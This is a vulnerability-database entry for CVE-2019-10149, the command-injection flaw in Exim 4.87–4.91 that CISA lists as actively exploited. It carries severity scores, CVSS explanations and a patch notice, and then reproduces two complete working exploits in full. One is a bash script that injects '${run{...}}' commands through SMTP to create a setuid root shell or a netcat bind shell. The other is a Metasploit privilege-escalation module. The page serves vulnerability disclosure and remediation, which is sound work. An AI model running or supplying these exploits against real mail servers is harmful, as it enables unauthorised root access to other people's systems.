CVE-2019-10149 Detail

CVE-2019-10149

Score / Severity

9.8

Critical

CVE Descriptions

A flaw was found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V3.0	9	CRITICAL	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. High A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Changed An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	[email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Exim Mail Transfer Agent (MTA) Improper Input Validation

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-01-09 23h00 +00:00

Action is due : 2022-07-09 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 46996

Publication date : 2019-06-16 22h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes

#!/bin/bash # # raptor_exim_wiz - "The Return of the WIZard" LPE exploit # Copyright (c) 2019 Marco Ivaldi <[email protected]> # # A flaw was found in Exim versions 4.87 to 4.91 (inclusive). # Improper validation of recipient address in deliver_message() # function in /src/deliver.c may lead to remote command execution. # (CVE-2019-10149) # # This is a local privilege escalation exploit for "The Return # of the WIZard" vulnerability reported by the Qualys Security # Advisory team. # # Credits: # Qualys Security Advisory team (kudos for your amazing research!) # Dennis 'dhn' Herrmann (/dev/tcp technique) # # Usage (setuid method): # $ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] # $ ./raptor_exim_wiz -m setuid # Preparing setuid shell helper... # Delivering setuid payload... # [...] # Waiting 5 seconds... # -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned # # id # uid=0(root) gid=0(root) groups=0(root) # # Usage (netcat method): # $ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] # $ ./raptor_exim_wiz -m netcat # Delivering netcat payload... # Waiting 5 seconds... # localhost [127.0.0.1] 31337 (?) open # id # uid=0(root) gid=0(root) groups=0(root) # # Vulnerable platforms: # Exim 4.87 - 4.91 # # Tested against: # Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz] # METHOD="setuid" # default method PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost' PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost' # usage instructions function usage() { echo "$0 [-m METHOD]" echo echo "-m setuid : use the setuid payload (default)" echo "-m netcat : use the netcat payload" echo exit 1 } # payload delivery function exploit() { # connect to localhost:25 exec 3<>/dev/tcp/localhost/25 # deliver the payload read -u 3 && echo $REPLY echo "helo localhost" >&3 read -u 3 && echo $REPLY echo "mail from:<>" >&3 read -u 3 && echo $REPLY echo "rcpt to:<$PAYLOAD>" >&3 read -u 3 && echo $REPLY echo "data" >&3 read -u 3 && echo $REPLY for i in {1..31} do echo "Received: $i" >&3 done echo "." >&3 read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY } # print banner echo echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit' echo 'Copyright (c) 2019 Marco Ivaldi <[email protected]>' echo # parse command line while [ ! -z "$1" ]; do case $1 in -m) shift; METHOD="$1"; shift;; * ) usage ;; esac done if [ -z $METHOD ]; then usage fi # setuid method if [ $METHOD = "setuid" ]; then # prepare a setuid shell helper to circumvent bash checks echo "Preparing setuid shell helper..." echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null if [ $? -ne 0 ]; then echo "Problems compiling setuid shell helper, check your gcc." echo "Falling back to the /bin/sh method." cp /bin/sh /tmp/pwned fi echo # select and deliver the payload echo "Delivering $METHOD payload..." PAYLOAD=$PAYLOAD_SETUID exploit echo # wait for the magic to happen and spawn our shell echo "Waiting 5 seconds..." sleep 5 ls -l /tmp/pwned /tmp/pwned # netcat method elif [ $METHOD = "netcat" ]; then # select and deliver the payload echo "Delivering $METHOD payload..." PAYLOAD=$PAYLOAD_NETCAT exploit echo # wait for the magic to happen and spawn our shell echo "Waiting 5 seconds..." sleep 5 nc -v 127.0.0.1 31337 # print help else usage fi

Exploit Database EDB-ID : 47307

Publication date : 2019-08-25 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'expect' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' => %q{ This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys', # Discovery and PoC (@qualys) 'Dennis Herrmann', # Working exploit (@dhn) 'Marco Ivaldi', # Working exploit (@0xdea) 'Guillaume André' # Metasploit module (@yaumn_) ], 'DisclosureDate' => '2019-06-05', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Exim 4.87 - 4.91', lower_version: Gem::Version.new('4.87'), upper_version: Gem::Version.new('4.91') ] ], 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'References' => [ [ 'CVE', '2019-10149' ], [ 'EDB', '46996' ], [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ] ] )) register_options( [ OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ]) ]) register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'].to_s end def encode_command(cmd) '\x' + cmd.unpack('H2' * cmd.length).join('\x') end def open_tcp_connection socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) params = Rex::Socket::Parameters.new({ 'PeerHost' => '127.0.0.1', 'PeerPort' => datastore['EXIMPORT'] }) begin socket = socket_subsystem.create_tcp_client_channel(params) rescue => e vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") raise e end return socket_subsystem, socket end def inject_payload(payload) if session.type == 'meterpreter' socket_subsystem, socket = open_tcp_connection tcp_conversation = { nil => /220/, 'helo localhost' => /250/, "MAIL FROM:<>" => /250/, "RCPT TO:<${run{#{payload}}}@localhost>" => /250/, 'DATA' => /354/, 'Received:' => nil, '.' => /250/ } begin tcp_conversation.each do |line, pattern| Timeout.timeout(datastore['SendExpectTimeout']) do if line if line == 'Received:' for i in (1..31) socket.puts("#{line} #{i}\n") end else socket.puts("#{line}\n") end end if pattern socket.expect(pattern) end end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure socket.puts("QUIT\n") socket.close socket_subsystem.shutdown end else unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\ "&& echo true").chomp.to_s == 'true' fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") end bash_script = %| #!/bin/bash exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']} read -u 3 && echo $REPLY echo "helo localhost" >&3 read -u 3 && echo $REPLY echo "mail from:<>" >&3 read -u 3 && echo $REPLY echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3 read -u 3 && echo $REPLY echo "data" >&3 read -u 3 && echo $REPLY for i in $(seq 1 30); do echo 'Received: $i' >&3 done echo "." >&3 read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY | @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@bash_script_path, bash_script) register_file_for_cleanup(@bash_script_path) chmod(@bash_script_path) cmd_exec("/bin/bash -c \"#{@bash_script_path}\"") end print_status('Payload sent, wait a few seconds...') Rex.sleep(5) end def check_for_bash unless command_exists?('/bin/bash') fail_with(Failure::NotFound, 'bash not found') end end def on_new_session(session) super if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') session.fs.file.rm(@payload_path) else session.shell_command_token("rm -f #{@payload_path}") end end def check if session.type == 'meterpreter' begin socket_subsystem, socket = open_tcp_connection rescue return CheckCode::Safe end res = socket.gets socket.close socket_subsystem.shutdown else check_for_bash res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\ "(read -u 3 && echo $REPLY) || echo false'") if res == 'false' vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") return CheckCode::Safe end end if res =~ /Exim ([0-9\.]+)/i version = Gem::Version.new($1) vprint_status("Found exim version: #{version}") if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else return CheckCode::Safe end end CheckCode::Unknown end def exploit if is_root? unless datastore['ForceExploit'] fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end end unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end if nosuid?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") end unless datastore['PrependSetuid'] && datastore['PrependSetgid'] fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \ 'to get root privileges.') end if session.type == 'shell' check_for_bash end @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) register_file_for_cleanup(@payload_path) inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}'")) unless setuid?(@payload_path) fail_with(Failure::Unknown, "Couldn't escalate privileges") end cmd_exec("#{@payload_path} & echo ") end end